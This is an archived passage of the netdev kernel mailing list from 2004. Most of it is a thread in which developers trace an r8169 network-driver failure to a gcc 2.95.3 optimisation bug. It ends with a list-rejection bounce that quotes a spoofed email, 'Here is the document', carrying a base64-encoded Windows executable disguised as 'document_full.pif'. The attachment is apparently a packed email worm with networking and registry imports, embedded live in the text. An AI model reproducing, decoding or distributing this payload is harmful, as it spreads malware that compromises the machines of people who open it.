[207.217.120.48]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4R47dgi006227 for ; Wed, 26 May 2004 21:07:39 -0700 Received: from hh1120001.direcpc.com ([206.71.120.1] helo=proxyplus.universe) by mallard.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 1BTCB2-0004Aw-00; Wed, 26 May 2004 21:07:34 -0700 Received: from linux [192.168.0.2] by Proxy+; Wed, 26 May 2004 23:06:31 -0500 for multiple recipients Date: Wed, 26 May 2004 23:06:32 -0500 From: Ray Cole To: romieu@fr.zoreil.com Cc: netdev@oss.sgi.com Subject: Re: r8169 driver in 2.6.6 Message-Id: <20040526230632.26c4e2e5.ray_cole@earthlink.net> In-Reply-To: <20040526221742.393e626d.ray_cole@earthlink.net> References: <20040524210148.2172d684.ray_cole@earthlink.net> <20040525091915.A12162@electric-eye.fr.zoreil.com> <20040525230831.4747005f.ray_cole@earthlink.net> <20040525231140.1325daa7.ray_cole@earthlink.net> <20040526055841.GH3330@ruslug.rutgers.edu> <20040526133645.B32639@electric-eye.fr.zoreil.com> <20040526070014.17ee9486.ray_cole@earthlink.net> <20040526161508.A3368@electric-eye.fr.zoreil.com> <20040526191528.54f4af59.ray_cole@earthlink.net> <20040526205324.0913df99.ray_cole@earthlink.net> <20040526221742.393e626d.ray_cole@earthlink.net> X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5380 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ray_cole@earthlink.net Precedence: bulk X-list: netdev It looks like it is most definately a gcc 2.95.3 issue. I turned off optimization (appended -O0 to the compiler command line) and the 'bad' way gives the proper result. -O1, on the other hand, gives an incorrect result. BTW, sorry for including the whole chain. I hadn't been CC'ing netdev as requested until I had a little more definitive answer to keep from flooding everyone's email :-) So the fix I posted yesterday does get around what appears to be a compiler error in gcc 2.95.3. -- Ray On Wed, 26 May 2004 22:17:42 -0500 Ray Cole wrote: > Sure enough, it gives a different result in r8169 with the two methods. > Attached is the source that I'm dealing with. Look for "HERE IS THE > BUG" :-) > > You'll see for this test I'm using the 'bad' way first, printing its > result out, then doing it the good way and displaying its result (this > way I'm able to keep the network running...obviously commenting out the > 'bad' way still makes it work). > > Here is a snippet from /var/log/mesages. Note that once it hit entry 63 > things went bad... > > May 26 22:12:04 localhost kernel: Entry 61 len 98 > May 26 22:12:04 localhost kernel: StatusBad : 61 b0000062 > May 26 22:12:04 localhost kernel: StatusGood: 61 b0000062 > May 26 22:12:04 localhost kernel: Entry 62 len 98 > May 26 22:12:04 localhost kernel: StatusBad : 62 b0000062 > May 26 22:12:04 localhost kernel: StatusGood: 62 b0000062 > May 26 22:12:04 localhost kernel: Entry 63 len 98 > May 26 22:12:04 localhost kernel: StatusBad : 63 b0000062 > May 26 22:12:04 localhost kernel: StatusGood: 63 f0000062 > > Attached is the 'full' /var/log/messages from the point where I started > the interface to the point where the failure occured. > > > > -- Ray > > > On Wed, 26 May 2004 20:53:24 -0500 > Ray Cole wrote: > > > I had a typo in test.c...I had 'status -' rather than 'status ='. > > I've been trying to make it give a different value outside of r8169 > > without any luck. So I'll rebuild r8169.c and dump the value of the > > status member in both situations to see if a difference shows... > > > > The only difference between my test case now and r8169.c is the lack > > of cpu_to_le32... > > > > Will let you know the results... > > > > -- Ray > > > > > > On Wed, 26 May 2004 19:15:28 -0500 > > Ray Cole wrote: > > > > > If entry == NUM_TX_DESC - 1 then it makes a difference. > > > > > > Attached is a short little test program that will show the value of > > > 'status' is different with the two different statements when entry = > > > 63. So basically the last buffer in the ring that gets sent causes > > > status to be incorrect. > > > > > > Here is sample output from 'test.cpp'. 'Status New' is using the > > > if/else routine that I pulled from 2.6.5 into 2.6.6's r8169 (the way > > > that works). 'Status Old' uses the way r8169.c sets status in > > > 2.6.6. > > > > > > Status New: 4000b440 Status Old: f00003e8 > > > > > > > > > -- Ray > > > > > > > > > On Wed, 26 May 2004 16:15:08 +0200 > > > Francois Romieu wrote: > > > > > > > Ray Cole : > > > > [...] > > > > > Let me know if you want me to provide a diff. I'm not real used > > > > > to generating diff's, and am not sure which version you want me > > > > > to diff against (I would assume against 2.6.6). I'm more than > > > > > willing to provide it. > > > > > > > > (May be I lack of coffee, but...) > > > > > > > > Can you give me an exemple of value of 'entry' where the change > > > > could make a difference (you can forget the cpu_to_le32 thing as > > > > we all live in x86 land) ? > > > > > > > > I have not been able to see one, that's why I would like to > > > > analyze the modules and see if your compiler has generated correct > > > > opcode or not. > > > > > > > > But maybe I am just sleeping :o/ > > > > > > > > -- > > > > Ueimor > > > > From romieu@fr.zoreil.com Thu May 27 00:29:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 00:29:34 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4R7TNgi009007 for ; Thu, 27 May 2004 00:29:24 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i4R7PbuX015769; Thu, 27 May 2004 09:25:37 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i4R7PaV8015768; Thu, 27 May 2004 09:25:36 +0200 Date: Thu, 27 May 2004 09:25:36 +0200 From: Francois Romieu To: Ray Cole Cc: netdev@oss.sgi.com Subject: Re: r8169 driver in 2.6.6 Message-ID: <20040527092536.A15669@electric-eye.fr.zoreil.com> References: <20040525230831.4747005f.ray_cole@earthlink.net> <20040525231140.1325daa7.ray_cole@earthlink.net> <20040526055841.GH3330@ruslug.rutgers.edu> <20040526133645.B32639@electric-eye.fr.zoreil.com> <20040526070014.17ee9486.ray_cole@earthlink.net> <20040526161508.A3368@electric-eye.fr.zoreil.com> <20040526191528.54f4af59.ray_cole@earthlink.net> <20040526205324.0913df99.ray_cole@earthlink.net> <20040526221742.393e626d.ray_cole@earthlink.net> <20040526230632.26c4e2e5.ray_cole@earthlink.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040526230632.26c4e2e5.ray_cole@earthlink.net>; from ray_cole@earthlink.net on Wed, May 26, 2004 at 11:06:32PM -0500 X-Organisation: Land of Sunshine Inc. X-archive-position: 5381 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Ray Cole : > It looks like it is most definately a gcc 2.95.3 issue. I turned off > optimization (appended -O0 to the compiler command line) and the 'bad' way > gives the proper result. -O1, on the other hand, gives an incorrect result. Would you be kind enough to send the two versions of the 2.6.6 r8169.o files compiled with 2.95.3: the unmodified one and the one with your minimal workaround ? -- Ueimor From vlan-bounces@wanfear.com Thu May 27 02:13:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 02:13:45 -0700 (PDT) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4R9Dcgi027493 for ; Thu, 27 May 2004 02:13:41 -0700 Received: from ns1.wanfear.com (localhost [127.0.0.1]) by ns1.wanfear.com (8.12.10/8.12.10) with ESMTP id i4R9DcJ0032124 for ; Thu, 27 May 2004 02:13:38 -0700 Subject: Re: Here is the document From: vlan-owner@wanfear.com To: netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="===============2056097141==" Message-ID: Date: Thu, 27 May 2004 02:13:37 -0700 Precedence: bulk X-BeenThere: vlan@wanfear.com X-Mailman-Version: 2.1.4 X-archive-position: 5382 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vlan-owner@wanfear.com Precedence: bulk X-list: netdev --===============2056097141== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit You are not allowed to post to this mailing list, and your message has been automatically rejected. If you think that your messages are being rejected in error, contact the mailing list owner at vlan-owner@wanfear.com. --===============2056097141== Content-Type: message/rfc822 MIME-Version: 1.0 Received: from wanfear.com (Home02150.cluj.astral.ro [82.208.135.139]) by ns1.wanfear.com (8.12.10/8.12.10) with ESMTP id i4R9DWJ0032119 for ; Thu, 27 May 2004 02:13:33 -0700 Message-Id: <200405270913.i4R9DWJ0032119@ns1.wanfear.com> From: netdev@oss.sgi.com To: vlan@wanfear.com Subject: Re: Here is the document Date: Thu, 27 May 2004 12:13:12 +0300 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0006_00001324.00001F83" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0006_00001324.00001F83 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Here is the file. ------=_NextPart_000_0006_00001324.00001F83 Content-Type: application/octet-stream; name="document_full.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="document_full.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 